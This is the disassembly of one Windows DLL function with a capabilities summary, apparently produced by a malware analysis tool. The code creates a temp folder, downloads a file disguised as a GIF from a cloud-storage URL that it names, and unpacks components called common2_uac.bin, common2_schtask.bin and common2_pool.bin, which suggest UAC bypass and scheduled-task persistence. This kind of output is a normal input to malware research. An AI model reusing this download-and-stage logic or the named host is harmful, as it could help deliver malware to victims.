Function at 0x180007190
Capabilities:
Create directory
Get common file path
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov r15, rcx
xor ecx, ecx
call fcn.180023550
mov rcx, rax
call fcn.180023458
lea rdx, [rbp - 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x103
ja 0x1800076aa
call fcn.18002342c
mov r9d, eax
mov eax, 0x68db8bad
imul r9d
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2710
sub r9d, eax
lea r8, str.Temp_04d
mov edx, 0x10
lea rcx, [rsp + 0x40]
call fcn.180006ef0
lea r8, [rsp + 0x40]
mov edx, 0x104
lea rcx, [rbp - 0x70]
call fcn.1800234d8
test eax, eax
je 0x180007240
lea rcx, str.Failed_to_concatenate_directory_name._n
call fcn.180006dc0
jmp 0x1800076be
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x18000726f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x18000726f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_create_directory._Error:__lu_n
jmp 0x1800076b7
lea rdx, [rbp - 0x70]
lea rcx, str.Temporary_directory_created:__s_n
call fcn.180006dc0
lea rax, [rbp - 0x70]
mov qword [0x18005cf98], rax
lea r9, [rbp - 0x70]
lea r8, str._she.gif
mov edx, 0x104
lea rcx, [rbp + 0x1a0]
call fcn.180006ef0
lea rdx, [rbp + 0x1a0]
lea rcx, str.https:__fs_1324330606.cos.accelerate.myqcloud.com_hd.gif
call fcn.180006e20
test eax, eax
jns 0x1800072d5
mov edx, eax
lea rcx, str.DownloadFile_failed_with_HRESULT:_0x_X_n
call fcn.180006dc0
call fcn.1800070d0
jmp 0x1800076ca
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
xor r12d, r12d
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r12 + 1]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180007325
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000736d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x180007364
mov edx, edi
test eax, eax
je 0x180007347
lea rcx, [rsp + 0x78]
call fcn.18000a9b0
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x3e8]
mov r8d, edi
mov rdx, qword [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x78]
call fcn.180006f50
lea rdi, [r15 + 0x60]
lea rax, [rsp + 0x78]
mov rbx, qword [rsp + 0x78]
cmp rdi, rax
je 0x1800073c4
mov rsi, qword [rbp - 0x80]
sub rsi, rbx
mov r14, qword [rdi]
mov rax, qword [rdi + 0x10]
sub rax, r14
cmp rsi, rax
jbe 0x1800073ae
mov rdx, rsi
mov rcx, rdi
call fcn.18000ae70
mov r14, qword [rdi]
mov r8, rsi
mov rdx, rbx
mov rcx, r14
call fcn.180019900
lea rax, [r14 + rsi]
mov qword [rdi + 8], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov r8d, 0xf
lea rdx, str.common2_uac.bin
lea rcx, [rsp + 0x40]
call fcn.1800037f0
nop
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.180011c20
mov rdx, rax
mov rcx, r15
call fcn.180009de0
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000745c
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007449
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800076ee
call fcn.180014910
mov qword [rsp + 0x60], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18000749e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800076f4
call fcn.180014910
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov r8d, 0x13
lea rdx, str.common2_schtask.bin
lea rcx, [rsp + 0x40]
call fcn.1800037f0
nop
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.180011c20
lea rcx, [r15 + 0x18]
mov rdx, rax
call fcn.180009de0
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x180007537
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007524
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800076fa
call fcn.180014910
mov qword [rsp + 0x60], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180007579
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007574
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007700
call fcn.180014910
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov r8d, 0x10
lea rdx, str.common2_pool.bin
lea rcx, [rsp + 0x40]
call fcn.1800037f0
nop
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.180011c20
lea rcx, [r15 + 0x30]
mov rdx, rax
call fcn.180009de0
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x180007612
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800075ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007706
call fcn.180014910
mov qword [rsp + 0x60], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180007654
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000764f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000770c
call fcn.180014910
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
call fcn.1800070d0
nop
test rbx, rbx
je 0x1800076a3
mov rdx, qword [rbp - 0x78]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x18000769b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800076e8
mov rcx, rbx
call fcn.180014910
mov eax, 1
jmp 0x1800076cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_get_temporary_path._Error:__lu_n
mov edx, eax
call fcn.180006dc0
lea rcx, str.Failed_to_create_temporary_directory_n
call fcn.180006dc0
xor eax, eax
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1800233b4
nop
call fcn.1800233b4
nop
call fcn.1800233b4
nop
call fcn.1800233b4
nop
call fcn.1800233b4
nop
call fcn.1800233b4
nop
call fcn.1800233b4
int3